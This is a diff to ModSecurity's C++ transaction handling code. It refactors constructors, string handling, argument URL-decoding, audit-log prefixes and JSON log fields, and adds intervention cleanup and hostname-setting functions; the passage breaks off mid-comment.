+53,9 @@ #include "src/actions/disruptive/allow.h" #include "src/variables/remote_user.h" +#ifdef WIN32 +#include "src/compat/msvc.h" +#endif using modsecurity::actions::Action; @@ -99,89 +102,23 @@ namespace modsecurity { * @endcode * */ -Transaction::Transaction(ModSecurity *ms, RulesSet *rules, void *logCbData) - : m_creationTimeStamp(utils::cpu_seconds()), - m_clientIpAddress(std::make_shared("")), - m_httpVersion(""), - m_serverIpAddress(std::make_shared("")), - m_uri(""), - m_uri_no_query_string_decoded(std::make_shared("")), - m_ARGScombinedSizeDouble(0), - m_clientPort(0), - m_highestSeverityAction(255), - m_httpCodeReturned(200), - m_serverPort(0), - m_ms(ms), - m_requestBodyType(UnknownFormat), - m_requestBodyProcessor(UnknownFormat), - m_rules(rules), - m_ruleRemoveById(), - m_ruleRemoveByIdRange(), - m_ruleRemoveByTag(), - m_ruleRemoveTargetByTag(), - m_ruleRemoveTargetById(), - m_requestBodyAccess(RulesSet::PropertyNotSetConfigBoolean), - m_auditLogModifier(), - m_ctlAuditEngine(AuditLog::AuditLogStatus::NotSetLogStatus), - m_rulesMessages(), - m_requestBody(), - m_responseBody(), - /* m_id(), */ - m_skip_next(0), - m_allowType(modsecurity::actions::disruptive::NoneAllowType), - m_uri_decoded(""), - m_actions(), - m_it(), - m_timeStamp(std::time(NULL)), - m_collections(ms->m_global_collection, ms->m_ip_collection, - ms->m_session_collection, ms->m_user_collection, - ms->m_resource_collection), - m_matched(), -#ifdef WITH_LIBXML2 - m_xml(new RequestBodyProcessor::XML(this)), -#else - m_xml(NULL), -#endif -#ifdef WITH_YAJL - m_json(new RequestBodyProcessor::JSON(this)), -#else - m_json(NULL), -#endif - m_secRuleEngine(RulesSetProperties::PropertyNotSetRuleEngine), - m_variableDuration(""), - m_variableEnvs(), - m_variableHighestSeverityAction(""), - m_variableRemoteUser(""), - m_variableTime(""), - m_variableTimeDay(""), - m_variableTimeEpoch(""), - m_variableTimeHour(""), - m_variableTimeMin(""), - m_variableTimeSec(""), - m_variableTimeWDay(""), - m_variableTimeYear(""), - m_logCbData(logCbData), - TransactionAnchoredVariables(this) { - m_id = std::unique_ptr( new std::string( - std::to_string(m_timeStamp) - + std::to_string(modsecurity::utils::generate_transaction_unique_id()))); - m_variableUrlEncodedError.set("0", 0); - m_variableMscPcreError.set("0", 0); - m_variableMscPcreLimitsExceeded.set("0", 0); +static std::string get_id(const char *id, const time_t timestamp) { + return (id == nullptr) ? + std::to_string(timestamp) + + std::to_string(modsecurity::utils::generate_transaction_unique_id()) + : id; +} - ms_dbg(4, "Initializing transaction"); +Transaction::Transaction(ModSecurity *ms, RulesSet *rules, void *logCbData) + : Transaction(ms, rules, nullptr, logCbData) { } - intervention::clean(&m_it); -} +Transaction::Transaction(ModSecurity *ms, RulesSet *rules, const char *id, void *logCbData) + : Transaction(ms, rules, id, logCbData, std::time(nullptr)) { } -Transaction::Transaction(ModSecurity *ms, RulesSet *rules, char *id, void *logCbData) +Transaction::Transaction(ModSecurity *ms, RulesSet *rules, const char *id, + void *logCbData, const time_t timestamp) : m_creationTimeStamp(utils::cpu_seconds()), - m_clientIpAddress(std::make_shared("")), - m_httpVersion(""), - m_serverIpAddress(std::make_shared("")), - m_uri(""), - m_uri_no_query_string_decoded(std::make_shared("")), m_ARGScombinedSizeDouble(0), m_clientPort(0), m_highestSeverityAction(255), @@ -191,54 +128,29 @@ Transaction::Transaction(ModSecurity *ms, RulesSet *rules, char *id, void *logCb m_requestBodyType(UnknownFormat), m_requestBodyProcessor(UnknownFormat), m_rules(rules), - m_ruleRemoveById(), - m_ruleRemoveByIdRange(), - m_ruleRemoveByTag(), - m_ruleRemoveTargetByTag(), - m_ruleRemoveTargetById(), m_requestBodyAccess(RulesSet::PropertyNotSetConfigBoolean), - m_auditLogModifier(), m_ctlAuditEngine(AuditLog::AuditLogStatus::NotSetLogStatus), - m_rulesMessages(), - m_requestBody(), - m_responseBody(), - m_id(std::unique_ptr(new std::string(id))), + m_id(get_id(id, timestamp)), m_skip_next(0), m_allowType(modsecurity::actions::disruptive::NoneAllowType), - m_uri_decoded(""), - m_actions(), - m_it(), - m_timeStamp(std::time(NULL)), + m_timeStamp(timestamp), m_collections(ms->m_global_collection, ms->m_ip_collection, ms->m_session_collection, ms->m_user_collection, ms->m_resource_collection), - m_matched(), #ifdef WITH_LIBXML2 m_xml(new RequestBodyProcessor::XML(this)), #else - m_xml(NULL), + m_xml(nullptr), #endif #ifdef WITH_YAJL m_json(new RequestBodyProcessor::JSON(this)), #else - m_json(NULL), + m_json(nullptr), #endif m_secRuleEngine(RulesSetProperties::PropertyNotSetRuleEngine), - m_variableDuration(""), - m_variableEnvs(), - m_variableHighestSeverityAction(""), - m_variableRemoteUser(""), - m_variableTime(""), - m_variableTimeDay(""), - m_variableTimeEpoch(""), - m_variableTimeHour(""), - m_variableTimeMin(""), - m_variableTimeSec(""), - m_variableTimeWDay(""), - m_variableTimeYear(""), + m_secXMLParseXmlIntoArgs(rules->m_secXMLParseXmlIntoArgs), m_logCbData(logCbData), TransactionAnchoredVariables(this) { - m_variableUrlEncodedError.set("0", 0); m_variableMscPcreError.set("0", 0); m_variableMscPcreLimitsExceeded.set("0", 0); @@ -276,7 +188,7 @@ Transaction::~Transaction() { * * Debug logs are important during the rules creation phase, this method can be * used to print message on this debug log. - * + * * @param level Debug level, current supported from 0 to 9. * @param message Message to be logged. * @@ -287,7 +199,7 @@ void Transaction::debug(int level, const std::string& message) const { return; } - m_rules->debug(level, *m_id.get(), m_uri, message); + m_rules->debug(level, m_id, m_uri, message); } #endif @@ -314,18 +226,21 @@ void Transaction::debug(int level, const std::string& message) const { */ int Transaction::processConnection(const char *client, int cPort, const char *server, int sPort) { - m_clientIpAddress = std::unique_ptr(new std::string(client)); - m_serverIpAddress = std::unique_ptr(new std::string(server)); + m_clientIpAddress = client; + m_serverIpAddress = server; + if (m_requestHostName.empty() == true) { + m_requestHostName = server; + } this->m_clientPort = cPort; this->m_serverPort = sPort; ms_dbg(4, "Transaction context created."); ms_dbg(4, "Starting phase CONNECTION. (SecRules 0)"); - m_variableRemoteHost.set(*m_clientIpAddress.get(), m_variableOffset); - m_variableUniqueID.set(*m_id.get(), m_variableOffset); - m_variableRemoteAddr.set(*m_clientIpAddress.get(), m_variableOffset); - m_variableServerAddr.set(*m_serverIpAddress.get(), m_variableOffset); + m_variableRemoteHost.set(m_clientIpAddress, m_variableOffset); + m_variableUniqueID.set(m_id, m_variableOffset); + m_variableRemoteAddr.set(m_clientIpAddress, m_variableOffset); + m_variableServerAddr.set(m_serverIpAddress, m_variableOffset); m_variableServerPort.set(std::to_string(this->m_serverPort), m_variableOffset); m_variableRemotePort.set(std::to_string(this->m_clientPort), @@ -342,46 +257,22 @@ bool Transaction::extractArguments(const std::string &orig, if (m_rules->m_secArgumentSeparator.m_set) { sep1 = m_rules->m_secArgumentSeparator.m_value.at(0); } - std::vector key_value_sets = utils::string::ssplit(buf, sep1); - - for (std::string t : key_value_sets) { - char sep2 = '='; - size_t key_s = 0; - size_t value_s = 0; - int invalid = 0; - int changed = 0; - - std::string key; - std::string value; - std::pair key_value_pair = utils::string::ssplit_pair(t, sep2); - key = key_value_pair.first; - value = key_value_pair.second; - - key_s = (key.length() + 1); - value_s = (value.length() + 1); - unsigned char *key_c = reinterpret_cast( - calloc(sizeof(char), key_s)); - unsigned char *value_c = reinterpret_cast( - calloc(sizeof(char), value_s)); - - memcpy(key_c, key.c_str(), key_s); - memcpy(value_c, value.c_str(), value_s); - - key_s = utils::urldecode_nonstrict_inplace(key_c, key_s, - &invalid, &changed); - value_s = utils::urldecode_nonstrict_inplace(value_c, value_s, - &invalid, &changed); - - if (invalid) { + const auto key_value_sets = utils::string::ssplit(buf, sep1); + + for (const auto &t : key_value_sets) { + const auto sep2 = '='; + auto [key, value] = utils::string::ssplit_pair(t, sep2); + + int invalid_count; + utils::urldecode_nonstrict_inplace(key, invalid_count); + utils::urldecode_nonstrict_inplace(value, invalid_count); + + if (invalid_count > 0) { m_variableUrlEncodedError.set("1", m_variableOffset); } - addArgument(orig, std::string(reinterpret_cast(key_c), key_s-1), - std::string(reinterpret_cast(value_c), value_s-1), offset); + addArgument(orig, key, value, offset); offset = offset + t.size() + 1; - - free(key_c); - free(value_c); } return true; @@ -463,6 +354,14 @@ int Transaction::processURI(const char *uri, const char *method, size_t pos_raw_query = uri_s.find("?"); + std::string path_info_raw; + if (pos_raw_query == std::string::npos) { + path_info_raw = std::string(uri_s, 0); + } else { + path_info_raw = std::string(uri_s, 0, pos_raw_query); + } + std::string path_info = utils::uri_decode(path_info_raw); + m_uri_decoded = utils::uri_decode(uri_s); size_t var_size = pos_raw_query; @@ -477,16 +376,7 @@ int Transaction::processURI(const char *uri, const char *method, m_variableRequestProtocol.set("HTTP/" + std::string(http_version), m_variableOffset + requestLine.size() + 1); - - size_t pos_query = m_uri_decoded.find("?"); - if (pos_query != std::string::npos) { - m_uri_no_query_string_decoded = std::unique_ptr( - new std::string(m_uri_decoded, 0, pos_query)); - } else { - m_uri_no_query_string_decoded = std::unique_ptr( - new std::string(m_uri_decoded)); - } - + m_uri_no_query_string_decoded = path_info; if (pos_raw_query != std::string::npos) { std::string qry = std::string(uri_s, pos_raw_query + 1, @@ -495,12 +385,7 @@ int Transaction::processURI(const char *uri, const char *method, + std::string(method).size() + 1); } - std::string path_info; - if (pos_query == std::string::npos) { - path_info = std::string(m_uri_decoded, 0); - } else { - path_info = std::string(m_uri_decoded, 0, pos_query); - } + if (var_size == std::string::npos) { var_size = uri_s.size(); } @@ -523,7 +408,7 @@ int Transaction::processURI(const char *uri, const char *method, std::string parsedURI = m_uri_decoded; // The more popular case is without domain - if (!m_uri_decoded.empty() && m_uri_decoded.at(0) != '/') { + if (!m_uri_decoded.empty() && m_uri_decoded[0] != '/') { bool fullDomain = true; size_t scheme = m_uri_decoded.find(":")+1; if (scheme == std::string::npos) { @@ -642,7 +527,7 @@ int Transaction::addRequestHeader(const std::string& key, // find the first '=' pos = c.find_first_of("=", 0); - std::string ckey = ""; + std::string ckey; std::string cval = ""; // if the cookie doesn't contains '=', its just a key @@ -658,7 +543,7 @@ int Transaction::addRequestHeader(const std::string& key, } // ltrim the key - following the modsec v2 way - while (ckey.empty() == false && isspace(ckey.at(0))) { + while (ckey.empty() == false && isspace(ckey[0])) { ckey.erase(0, 1); localOffset++; } @@ -780,7 +665,7 @@ int Transaction::addRequestHeader(const unsigned char *key, size_t key_n, * @note It is necessary to "append" the request body prior to the execution * of this function. * @note Remember to check for a possible intervention. - * + * * @returns If the operation was successful or not. * @retval true Operation was successful. * @retval false Operation failed. @@ -800,11 +685,11 @@ int Transaction::processRequestBody() { /* * Process the request body even if there is nothing to be done. - * + * * if (m_requestBody.tellp() <= 0) { * return true; * } - * + * */ std::unique_ptr a = m_variableRequestHeaders.resolveFirst( "Content-Type"); @@ -993,7 +878,7 @@ int Transaction::processRequestBody() { * * With this method it is possible to feed ModSecurity with data for * inspection regarding the request body. There are two possibilities here: - * + * * 1 - Adds the buffer in a row; * 2 - Adds it in chunks; * @@ -1098,7 +983,7 @@ int Transaction::appendRequestBody(const unsigned char *buf, size_t len) { * * @param code The returned http code. * @param proto Protocol used on the response. - * + * * @returns If the operation was successful or not. * @retval true Operation was successful. * @retval false Operation failed. @@ -1194,7 +1079,7 @@ int Transaction::addResponseHeader(const unsigned char *key, * @param key_n header name size. * @param value header value. * @param value_n header value size. - * + * * @returns If the operation was successful or not. * @retval true Operation was successful. * @retval false Operation failed. @@ -1242,9 +1127,9 @@ int Transaction::processResponseBody() { return true; } - std::set &bi = \ + const std::set &bi = \ m_rules->m_responseBodyTypeToBeInspected.m_value; - auto t = bi.find(m_variableResponseContentType.m_value); + auto t = bi.find(utils::string::tolower(m_variableResponseContentType.m_value)); if (t == bi.end() && m_rules->m_responseBodyTypeToBeInspected.m_set == true) { ms_dbg(5, "Response Content-Type is " \ @@ -1279,7 +1164,7 @@ int Transaction::processResponseBody() { * With this method it is possible to feed ModSecurity with data for * inspection regarding the response body. ModSecurity can also update the * contents of the response body, this is not quite ready yet on this version - * of the API. + * of the API. * * @note If the content is updated, the client cannot receive the content * length header filled, at least not with the old values. Otherwise @@ -1293,9 +1178,9 @@ int Transaction::processResponseBody() { int Transaction::appendResponseBody(const unsigned char *buf, size_t len) { int current_size = this->m_responseBody.tellp(); - std::set &bi = \ + const std::set &bi = \ this->m_rules->m_responseBodyTypeToBeInspected.m_value; - auto t = bi.find(m_variableResponseContentType.m_value); + auto t = bi.find(utils::string::tolower(m_variableResponseContentType.m_value)); if (t == bi.end() && bi.empty() == false) { ms_dbg(4, "Not appending response body. " \ "Response Content-Type is " \ @@ -1427,7 +1312,7 @@ int Transaction::processLogging() { this->m_rules->evaluate(modsecurity::LoggingPhase, this); /* If relevant, save this transaction information at the audit_logs */ - if (m_rules != NULL && m_rules->m_auditLog != NULL) { + if (m_rules->m_auditLog != NULL) { int parts = this->m_rules->m_auditLog->getParts(); ms_dbg(8, "Checking if this request is suitable to be " \ "saved as an audit log."); @@ -1468,48 +1353,57 @@ int Transaction::processLogging() { * * Intervention can generate a log event and/or perform a disruptive action. * - * @param Pointer ModSecurityIntervention structure + * If the return value is true, all fields in the ModSecurityIntervention + * parameter have been initialized and are safe to access. + * If the return value is false, no changes to the ModSecurityIntervention + * parameter have been made. + * + * @param it Pointer to ModSecurityIntervention structure * @retval true A intervention should be made. * @retval false Nothing to be done. * */ bool Transaction::intervention(ModSecurityIntervention *it) { + const auto disruptive = m_it.disruptive; if (m_it.disruptive) { + m_isInterrupted = true; if (m_it.url) { it->url = strdup(m_it.url); + } else { + it->url = NULL; } it->disruptive = m_it.disruptive; it->status = m_it.status; if (m_it.log != NULL) { - std::string log(""); - log.append(m_it.log); - utils::string::replaceAll(&log, std::string("%d"), + std::string log(m_it.log); + utils::string::replaceAll(log, "%d", std::to_string(it->status)); it->log = strdup(log.c_str()); + } else { + it->log = NULL; } intervention::reset(&m_it); } - return it->disruptive; + return disruptive; } std::string Transaction::toOldAuditLogFormatIndex(const std::string &filename, double size, const std::string &md5) { std::stringstream ss; - struct tm timeinfo; - char tstr[300]; - memset(tstr, '\0', 300); + struct tm timeinfo; localtime_r(&this->m_timeStamp, &timeinfo); - strftime(tstr, 299, "[%d/%b/%Y:%H:%M:%S %z]", &timeinfo); + char tstr[std::size("[dd/Mmm/yyyy:hh:mm:ss shhmm]")]; + strftime(tstr, std::size(tstr), "[%d/%b/%Y:%H:%M:%S %z]", &timeinfo); ss << utils::string::dash_if_empty( m_variableRequestHeaders.resolveFirst("Host").get()) << " "; - ss << utils::string::dash_if_empty(this->m_clientIpAddress->c_str()) << " "; + ss << utils::string::dash_if_empty(&this->m_clientIpAddress) << " "; /** TODO: Check variable */ variables::RemoteUser *r = new variables::RemoteUser("REMOTE_USER"); std::vector l; @@ -1520,7 +1414,7 @@ std::string Transaction::toOldAuditLogFormatIndex(const std::string &filename, delete r; ss << utils::string::dash_if_empty( - m_variableRemoteUser.c_str()); + &m_variableRemoteUser); ss << " "; /** TODO: Check variable */ //ss << utils::string::dash_if_empty( @@ -1544,7 +1438,7 @@ std::string Transaction::toOldAuditLogFormatIndex(const std::string &filename, ss << utils::string::dash_if_empty( m_variableRequestHeaders.resolveFirst("User-Agent").get()); ss << "\" "; - ss << *m_id.get() << " "; + ss << m_id << " "; /** TODO: Check variable */ ss << utils::string::dash_if_empty( m_variableRequestHeaders.resolveFirst("REFERER").get()) << " "; @@ -1559,27 +1453,29 @@ std::string Transaction::toOldAuditLogFormatIndex(const std::string &filename, std::string Transaction::toOldAuditLogFormat(int parts, - const std::string &trailer) { + const std::string &trailer, const std::string &prefix) { std::stringstream audit_log; - struct tm timeinfo; - char tstr[300]; - memset(tstr, '\0', 300); + struct tm timeinfo; localtime_r(&this->m_timeStamp, &timeinfo); - audit_log << "--" << trailer << "-" << "A--" << std::endl; - strftime(tstr, 299, "[%d/%b/%Y:%H:%M:%S %z]", &timeinfo); + char tstr[std::size("[dd/Mmm/yyyy:hh:mm:ss shhmm]")]; + strftime(tstr, std::size(tstr), "[%d/%b/%Y:%H:%M:%S %z]", &timeinfo); + + audit_log << prefix << "--" << trailer << "-" << "A--" << std::endl; + audit_log << prefix; audit_log << tstr; - audit_log << " " << m_id->c_str(); - audit_log << " " << this->m_clientIpAddress->c_str(); + audit_log << " " << m_id; + audit_log << " " << this->m_clientIpAddress; audit_log << " " << this->m_clientPort; - audit_log << " " << m_serverIpAddress->c_str(); + audit_log << " " << m_serverIpAddress; audit_log << " " << this->m_serverPort; audit_log << std::endl; if (parts & audit_log::AuditLog::BAuditLogPart) { std::vector l; - audit_log << "--" << trailer << "-" << "B--" << std::endl; + audit_log << prefix << "--" << trailer << "-" << "B--" << std::endl; + audit_log << prefix; audit_log << utils::string::dash_if_empty( m_variableRequestMethod.evaluate()); audit_log << " " << this->m_uri.c_str() << " " << "HTTP/"; @@ -1588,79 +1484,81 @@ std::string Transaction::toOldAuditLogFormat(int parts, m_variableRequestHeaders.resolve(&l); for (auto &h : l) { size_t pos = strlen("REQUEST_HEADERS:"); + audit_log << prefix; audit_log << h->getKeyWithCollection().c_str() + pos << ": "; audit_log << h->getValue().c_str() << std::endl; delete h; } - audit_log << std::endl; + audit_log << prefix << std::endl; } if (parts & audit_log::AuditLog::CAuditLogPart && m_requestBody.tellp() > 0) { std::string body = m_requestBody.str(); - audit_log << "--" << trailer << "-" << "C--" << std::endl; + audit_log << prefix << "--" << trailer << "-" << "C--" << std::endl; if (body.size() > 0) { - audit_log << body << std::endl; + audit_log << prefix << body << std::endl; } - audit_log << std::endl; + audit_log << prefix << std::endl; } if (parts & audit_log::AuditLog::DAuditLogPart) { - audit_log << "--" << trailer << "-" << "D--" << std::endl; - audit_log << std::endl; + audit_log << prefix << "--" << trailer << "-" << "D--" << std::endl; + audit_log << prefix << std::endl; /** TODO: write audit_log D part. */ } if (parts & audit_log::AuditLog::EAuditLogPart && m_responseBody.tellp() > 0) { std::string body = utils::string::toHexIfNeeded(m_responseBody.str()); - audit_log << "--" << trailer << "-" << "E--" << std::endl; + audit_log << prefix << "--" << trailer << "-" << "E--" << std::endl; if (body.size() > 0) { - audit_log << body << std::endl; + audit_log << prefix << body << std::endl; } - audit_log << std::endl; + audit_log << prefix << std::endl; } if (parts & audit_log::AuditLog::FAuditLogPart) { std::vector l; - audit_log << "--" << trailer << "-" << "F--" << std::endl; - audit_log << "HTTP/" << m_httpVersion.c_str() << " "; + audit_log << prefix << "--" << trailer << "-" << "F--" << std::endl; + audit_log << prefix << "HTTP/" << m_httpVersion.c_str() << " "; audit_log << this->m_httpCodeReturned << std::endl; m_variableResponseHeaders.resolve(&l); for (auto &h : l) { + audit_log << prefix; audit_log << h->getKey().c_str() << ": "; audit_log << h->getValue().c_str() << std::endl; delete h; } } - audit_log << std::endl; + audit_log << prefix << std::endl; if (parts & audit_log::AuditLog::GAuditLogPart) { - audit_log << "--" << trailer << "-" << "G--" << std::endl; + audit_log << prefix << "--" << trailer << "-" << "G--" << std::endl; audit_log << std::endl; /** TODO: write audit_log G part. */ } if (parts & audit_log::AuditLog::HAuditLogPart) { - audit_log << "--" << trailer << "-" << "H--" << std::endl; - for (auto a : m_rulesMessages) { - audit_log << a.log(0, m_httpCodeReturned) << std::endl; + audit_log << prefix << "--" << trailer << "-" << "H--" << std::endl; + for (const auto &a : m_rulesMessages) { + audit_log << prefix << a.log(0, m_httpCodeReturned) << std::endl; } - audit_log << std::endl; + audit_log << prefix << std::endl; /** TODO: write audit_log H part. */ } if (parts & audit_log::AuditLog::IAuditLogPart) { - audit_log << "--" << trailer << "-" << "I--" << std::endl; - audit_log << std::endl; + audit_log << prefix << "--" << trailer << "-" << "I--" << std::endl; + audit_log << prefix << std::endl; /** TODO: write audit_log I part. */ } if (parts & audit_log::AuditLog::JAuditLogPart) { - audit_log << "--" << trailer << "-" << "J--" << std::endl; - audit_log << std::endl; + audit_log << prefix << "--" << trailer << "-" << "J--" << std::endl; + audit_log << prefix << std::endl; /** TODO: write audit_log J part. */ } if (parts & audit_log::AuditLog::KAuditLogPart) { - audit_log << "--" << trailer << "-" << "K--" << std::endl; - audit_log << std::endl; + audit_log << prefix << "--" << trailer << "-" << "K--" << std::endl; + audit_log << prefix << std::endl; /** TODO: write audit_log K part. */ } - audit_log << "--" << trailer << "-" << "Z--" << std::endl << std::endl; + audit_log << prefix << "--" << trailer << "-" << "Z--" << std::endl << std::endl; return audit_log.str(); } @@ -1672,7 +1570,7 @@ std::string Transaction::toJSON(int parts) { size_t len; yajl_gen g; std::string log; - std::string ts = utils::string::ascTime(&m_timeStamp).c_str(); + std::string ts = utils::string::ascTime(&m_timeStamp); std::string uniqueId = UniqueId::uniqueId(); g = yajl_gen_alloc(NULL); @@ -1690,13 +1588,17 @@ std::string Transaction::toJSON(int parts) { yajl_gen_map_open(g); /* Part: A (header mandatory) */ - LOGFY_ADD("client_ip", this->m_clientIpAddress->c_str()); - LOGFY_ADD("time_stamp", ts.c_str()); - LOGFY_ADD("server_id", uniqueId.c_str()); + LOGFY_ADD("client_ip", m_clientIpAddress); + LOGFY_ADD("time_stamp", ts); + LOGFY_ADD("server_id", uniqueId); LOGFY_ADD_NUM("client_port", m_clientPort); - LOGFY_ADD("host_ip", m_serverIpAddress->c_str()); + LOGFY_ADD("host_ip", m_serverIpAddress); LOGFY_ADD_NUM("host_port", m_serverPort); - LOGFY_ADD("unique_id", m_id->c_str()); + LOGFY_ADD("unique_id", m_id); + + yajl_gen_string(g, reinterpret_cast("is_interrupted"), + strlen("is_interrupted")); + yajl_gen_bool(g, m_isInterrupted); /* request */ yajl_gen_string(g, reinterpret_cast("request"), @@ -1705,14 +1607,15 @@ std::string Transaction::toJSON(int parts) { LOGFY_ADD("method", utils::string::dash_if_empty( - m_variableRequestMethod.evaluate()).c_str()); + m_variableRequestMethod.evaluate())); - LOGFY_ADD_INT("http_version", m_httpVersion.c_str()); - LOGFY_ADD("uri", this->m_uri.c_str()); + LOGFY_ADD("http_version", m_httpVersion); + LOGFY_ADD("hostname", m_requestHostName); + LOGFY_ADD("uri", this->m_uri); if (parts & audit_log::AuditLog::CAuditLogPart) { // FIXME: check for the binary content size. - LOGFY_ADD("body", this->m_requestBody.str().c_str()); + LOGFY_ADD("body", utils::string::toHexIfNeeded(this->m_requestBody.str())); } /* request headers */ @@ -1724,7 +1627,7 @@ std::string Transaction::toJSON(int parts) { m_variableRequestHeaders.resolve(&l); for (auto &h : l) { - LOGFY_ADD(h->getKey().c_str(), h->getValue().c_str()); + LOGFY_ADD(utils::string::toHexIfNeeded(h->getKey().c_str()).c_str(), utils::string::toHexIfNeeded(h->getValue())); delete h; } @@ -1741,7 +1644,7 @@ std::string Transaction::toJSON(int parts) { yajl_gen_map_open(g); if (parts & audit_log::AuditLog::EAuditLogPart) { - LOGFY_ADD("body", this->m_responseBody.str().c_str()); + LOGFY_ADD("body", this->m_responseBody.str()); } LOGFY_ADD_NUM("http_code", m_httpCodeReturned); @@ -1754,7 +1657,7 @@ std::string Transaction::toJSON(int parts) { m_variableResponseHeaders.resolve(&l); for (auto &h : l) { - LOGFY_ADD(h->getKey().c_str(), h->getValue().c_str()); + LOGFY_ADD(h->getKey().c_str(), h->getValue()); delete h; } @@ -1771,10 +1674,10 @@ std::string Transaction::toJSON(int parts) { yajl_gen_map_open(g); /* producer > libmodsecurity */ - LOGFY_ADD("modsecurity", m_ms->whoAmI().c_str()); + LOGFY_ADD("modsecurity", m_ms->whoAmI()); /* producer > connector */ - LOGFY_ADD("connector", m_ms->getConnectorInformation().c_str()); + LOGFY_ADD("connector", m_ms->getConnectorInformation()); /* producer > engine state */ LOGFY_ADD("secrules_engine", @@ -1787,10 +1690,10 @@ std::string Transaction::toJSON(int parts) { strlen("components")); yajl_gen_array_open(g); - for (auto a : m_rules->m_components) { + for (const auto &a : m_rules->m_components) { yajl_gen_string(g, reinterpret_cast - (a.c_str()), a.length()); + (a.data()), a.length()); } yajl_gen_array_close(g); @@ -1804,20 +1707,20 @@ std::string Transaction::toJSON(int parts) { yajl_gen_array_open(g); for (auto a : m_rulesMessages) { yajl_gen_map_open(g); - LOGFY_ADD("message", a.m_message.c_str()); + LOGFY_ADD("message", a.m_message); yajl_gen_string(g, reinterpret_cast("details"), strlen("details")); yajl_gen_map_open(g); - LOGFY_ADD("match", a.m_match.c_str()); - LOGFY_ADD("reference", a.m_reference.c_str()); - LOGFY_ADD("ruleId", std::to_string(a.m_ruleId).c_str()); - LOGFY_ADD("file", a.m_ruleFile->c_str()); - LOGFY_ADD("lineNumber", std::to_string(a.m_ruleLine).c_str()); - LOGFY_ADD("data", a.m_data.c_str()); - LOGFY_ADD("severity", std::to_string(a.m_severity).c_str()); - LOGFY_ADD("ver", a.m_ver.c_str()); - LOGFY_ADD("rev", a.m_rev.c_str()); + LOGFY_ADD("match", a.m_match); + LOGFY_ADD("reference", a.m_reference); + LOGFY_ADD("ruleId", std::to_string(a.m_rule.m_ruleId)); + LOGFY_ADD("file", a.m_rule.getFileName()); + LOGFY_ADD("lineNumber", std::to_string(a.m_rule.getLineNumber())); + LOGFY_ADD("data", utils::string::toHexIfNeeded(a.m_data)); + LOGFY_ADD("severity", std::to_string(a.m_severity)); + LOGFY_ADD("ver", a.m_rule.m_ver); + LOGFY_ADD("rev", a.m_rule.m_rev); yajl_gen_string(g, reinterpret_cast("tags"), @@ -1825,13 +1728,13 @@ std::string Transaction::toJSON(int parts) { yajl_gen_array_open(g); for (auto b : a.m_tags) { yajl_gen_string(g, - reinterpret_cast(b.c_str()), - strlen(b.c_str())); + reinterpret_cast(b.data()), + b.length()); } yajl_gen_array_close(g); - LOGFY_ADD("maturity", std::to_string(a.m_maturity).c_str()); - LOGFY_ADD("accuracy", std::to_string(a.m_accuracy).c_str()); + LOGFY_ADD("maturity", std::to_string(a.m_rule.m_maturity)); + LOGFY_ADD("accuracy", std::to_string(a.m_rule.m_accuracy)); yajl_gen_map_close(g); yajl_gen_map_close(g); } @@ -1860,7 +1763,7 @@ std::string Transaction::toJSON(int parts) { } -void Transaction::serverLog(std::shared_ptr rm) { +void Transaction::serverLog(const RuleMessage &rm) { m_ms->serverLog(m_logCbData, rm); } @@ -1903,7 +1806,7 @@ int Transaction::updateStatusCode(int code) { * * The transaction is the unit that will be used the inspect every request. It holds * all the information for a given request. - * + * * @note Remember to cleanup the transaction when the transaction is complete. * * @param ms ModSecurity core pointer. @@ -1921,7 +1824,7 @@ extern "C" Transaction *msc_new_transaction(ModSecurity *ms, return new Transaction(ms, rules, logCbData); } extern "C" Transaction *msc_new_transaction_with_id(ModSecurity *ms, - RulesSet *rules, char *id, void *logCbData) { + RulesSet *rules, const char *id, void *logCbData) { return new Transaction(ms, rules, id, logCbData); } @@ -2015,7 +1918,7 @@ extern "C" int msc_process_request_headers(Transaction *transaction) { * @note Remember to check for a possible intervention. * * @param transaction ModSecurity transaction. - * + * * @returns If the operation was successful or not. * @retval 1 Operation was successful. * @retval 0 Operation failed. @@ -2032,7 +1935,7 @@ extern "C" int msc_process_request_body(Transaction *transaction) { * * With this function it is possible to feed ModSecurity with data for * inspection regarding the request body. There are two possibilities here: - * + * * 1 - Adds the buffer in a row; * 2 - Adds it in chunks; * @@ -2046,7 +1949,7 @@ extern "C" int msc_process_request_body(Transaction *transaction) { * in this case is upon the rules. * * @param transaction ModSecurity transaction. - * + * * @returns If the operation was successful or not. * @retval 1 Operation was successful. * @retval 0 Operation failed. @@ -2117,7 +2020,7 @@ extern "C" int msc_process_response_body(Transaction *transaction) { * With this function it is possible to feed ModSecurity with data for * inspection regarding the response body. ModSecurity can also update the * contents of the response body, this is not quite ready yet on this version - * of the API. + * of the API. * * @note If the content is updated, the client cannot receive the content * length header filled, at least not with the old values. Otherwise @@ -2224,7 +2127,7 @@ extern "C" int msc_add_response_header(Transaction *transaction, * @param key_len header name size. * @param value header value. * @param val_len header value size. - * + * * @returns If the operation was successful or not. * @retval 1 Operation was successful. * @retval 0 Operation failed. @@ -2258,11 +2161,16 @@ extern "C" void msc_transaction_cleanup(Transaction *transaction) { * * Intervention can generate a log event and/or perform a disruptive action. * - * @param transaction ModSecurity transaction. + * If the return value is not zero, all fields in the ModSecurityIntervention + * parameter have been initialized and are safe to access. + * If the return value is zero, no changes to the ModSecurityIntervention + * parameter have been made. * - * @return Pointer to ModSecurityIntervention structure - * @retval >0 A intervention should be made. - * @retval NULL Nothing to be done. + * @param transaction ModSecurity transaction. + * @param it Pointer to ModSecurityIntervention structure + * @returns If an intervention should be made + * @retval >0 A intervention should be made. + * @retval 0 Nothing to be done. * */ extern "C" int msc_intervention(Transaction *transaction, @@ -2271,6 +2179,22 @@ extern "C" int msc_intervention(Transaction *transaction, } +/** + * @name msc_intervention_cleanup + * @brief Removes all the resources allocated by a given Intervention. + * + * This is a helper function to free any allocated buffers owned by the + * intervention. + * + * @param it ModSecurity intervention. + * + */ +extern "C" void msc_intervention_cleanup(ModSecurityIntervention *it) { + intervention::free(it); + intervention::clean(it); +} + + /** * @name msc_get_response_body * @brief Retrieve a buffer with the updated response body. @@ -2286,7 +2210,7 @@ extern "C" int msc_intervention(Transaction *transaction, * @retval NULL Nothing was updated. * */ -extern "C" const char *msc_get_response_body(Transaction *transaction) { +extern "C" const char *msc_get_response_body(const Transaction *transaction) { return transaction->getResponseBody(); } @@ -2359,5 +2283,107 @@ extern "C" int msc_update_status_code(Transaction *transaction, int status) { } +/** + * @name setRequestHostName + * @brief Set request's host name + * + * With this method it is possible to set the request's hostname. + * + * @note This function expects a NULL terminated string. + * + * @param hostname hostname. + * + * @returns If the operation was successful or not. + * @retval true 